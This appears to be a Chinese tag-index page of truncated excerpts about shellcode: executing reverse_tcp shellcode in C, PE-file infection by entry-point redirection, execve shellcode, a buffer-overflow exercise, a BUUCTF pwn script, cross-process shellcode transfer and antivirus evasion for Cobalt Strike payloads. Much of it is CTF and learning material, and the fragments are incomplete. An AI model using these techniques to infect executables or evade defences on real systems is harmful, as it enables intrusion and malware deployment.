jjzjj

shellcode1

全部标签

c - 在 C 中执行 shellcode (visual studio 2017

我尝试在C中执行shellcode时遇到问题(基本的reverse_tcp,指向本地地址)。我从基础开始,代码如下:#defineWIN32_LEAN_AND_MEAN#include#include#include#includeintmain(intargc,char*argv[]){unsignedcharshellcode[]=\"\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf""\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a""\

c - 将入口点更改为PE文件中新添加的shellcode段后,如何恢复主进程?

我试图通过在PE文件末尾添加一个额外的节头并在其中编写shellcode来进行PE感染。我已经添加了额外的部分并在其中编写了shellcode,并将原始入口点(OEP)更改为新添加的部分并且它执行得很好;我的意思是我的shellcode运行良好,但现在我想恢复主进程,为此我需要再次将修改后的入口点更改为OEP。但是,我无法弄清楚。请告诉我是否有任何方法可以在执行shellcode后恢复主进程。而且,我也试过这个blog,但它也不起作用,因为作者编写了内联汇编代码并放置了一些占位符以在运行时恢复OEP,这将动态嵌入到shellcode中。我正在考虑编写一个包含JMPto_OEP的shel

javascript - 为什么不能通过 "data execution prevention"修复 Javascript shellcode 漏洞?

"heapspraying"维基百科文章表明,许多javascript漏洞利用涉及将shellcode定位在脚本的可执行代码或数据空间内存中的某个位置,然后让解释器跳转到那里并执行它。我不明白的是,为什么不能将解释器的整个堆标记为“数据”,这样DEP就会阻止解释器执行shellcode?同时,javascript派生字节码的执行将由不允许它修改属于解释器的内存的虚拟机完成(这在似乎执行机器代码的V8上不起作用,但可能在使用某种类型的Firefox上起作用字节码)。我想上面的内容听起来微不足道,实际上可能正在做一些类似的事情。所以,我试图了解推理中的缺陷在哪里,或者现有解释器实现中的缺陷

c++ - 重写一个小的 execve shellcode

通过http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html我了解调用execve的nasm程序并试图重写它。一些背景信息:intexecve(constchar*filename,char*constargv[],char*constenvp[]);因此,eax=11(execve的函数调用号),ebx应该指向char*filename,ecx应该指向argv[](这将与ebx相同,因为第一个参数是*filename本身,例如在本例中为“/bin/sh”),而edx将指向

使用shellcode的缓冲区溢出练习

我正在对C程序上的缓冲区过载进行练习,该问题的目的是将根外壳插入程序中,以获取根壳。这就是我到目前为止所拥有的:步骤1.首先,让我们在文件中查看我的C代码file.c:root@kali:~#cat./file.c#include#includevoidpremio(){printf("Ihavealteredtheprogramsflow\n");}intmain(intargc,char*argv[]){charbuffer[100];if(argc!=2){printf("Use:%sargument\n",argv[0]);return-1;}strcpy(buffer,argv[1]

c++ - 通过转换为 Visual C++ 中的函数指针来执行 shellcode

在gcc中这工作正常。代码是这样的:unsignedcharb[50]="\xda\xd1...\x0";//someshellcodewithterminating\x0((void(*)())b)();//castbtofunctionpointerfromvoidtovoid,thenrunit但是当它被放入VisualC++时,它会吐出这个错误信息:1>..\test.cpp(132):errorC2440:'typecast':cannotconvertfrom'unsignedchar[50]'to'void(__cdecl*)(void)'1>Thereisnoconte

BUUCTF--mrctf2020_shellcode1

这是一题64位的shellocde题,没啥花招入门题。看下保护:有可执行的段。接着我们看看IDA:主函数中无法反汇编,那么我们直接看汇编代码。其实很简单,通过系统调用执行puts函数,然后执行read函数。正在我想如何覆盖返回地址的时候,发现题目直接帮你搞好了。取buf的的地址(栈上)然后跳转到buf位置执行代码。那么我们直接通过read函数构造shellcode就完成了:frompwnimport*context(arch='amd64',os='linux',log_level='debug')io=process('./mrctf2020_shellcode')shellcode='''

C++ 共享内存ShellCode跨进程传输

在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将ShellCode打散,而作为客户端也不需要时时刻刻在本地存放ShellCode代码,这能保证客户端的安全性。服务端部分CreateFileMapping用于创建一个文件映射对象,将文件或者其他内核对象映射到进程的地址空间。这个函数通常用于共享内存的创建。下面

C++ 邮件槽ShellCode跨进程传输

在计算机安全领域,进程间通信(IPC)一直是一个备受关注的话题。在本文中,我们将探讨如何使用Windows邮件槽(Mailslot)实现ShellCode的跨进程传输。邮件槽提供了一种简单而有效的单向通信机制,使得任何进程都能够成为邮件槽服务器,并通过UDP通信向其他进程发送数据。邮件槽是Windows操作系统提供的一种用于本地进程间通信的机制。它允许一个进程创建一个命名的槽,并允许其他进程通过该槽向创建它的进程发送消息。在本文中,我们将使用邮件槽实现进程间的ShellCode传输。如果需要双向通信或更复杂的通信需求,需要考虑其他IPC机制,例如命名管道、套接字等。服务端部分服务端端部分的实现

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法

C/C++--ShellCode-免杀对抗介绍:        shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。为什么要使用shellcode:      因为shellcode的免杀手段多,损坏的可能性小,能自定义更多选择。环境:攻击机:kali--->cs服务端和msf、win11--->cs客户端受害机:win10--->虚拟机调用shellcode的五种原生态方式:文件名:原生态.c#include#in